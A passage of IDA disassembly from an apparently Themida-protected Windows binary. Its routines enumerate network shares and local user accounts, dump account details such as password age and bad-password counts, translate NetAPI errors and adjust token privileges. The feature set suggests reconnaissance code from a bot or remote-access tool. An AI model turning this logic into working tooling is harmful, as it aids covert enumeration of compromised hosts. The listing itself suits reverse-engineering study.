		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CAE40
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CAEB8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439098
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------

loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CAE5C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"

loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi

loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB004

loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax

loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C

loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A4[eax*4]
		push	offset unk_439150
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A0[eax*4]
		push	offset unk_439120
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DADF0
		lea	eax, [eax+eax*2]
		push	off_4389A0[eax*4]
		push	offset unk_4390F8
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CAE4C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CAE3C
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CAFCC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"

loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------

loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439170
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h

loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB004

loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CAED4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439360
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA

loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_43932C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB004
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB004

loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567

loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DAB90
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DAB90
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax

loc_4195FA:				; DATA XREF: Themida_:0058A68Co
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CAF84
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DA98C
		push	offset unk_439694
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------

loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DA98C
		push	eax
		push	offset dword_439668
		push	esi
		call	sub_41B886
		add	esp, 14h

loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 2720612h
		push	eax
		call	dword_4CAF58
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------

loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CAF30
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------

loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFE0
		mov	esi, eax

loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 26708E6h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CAF94, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
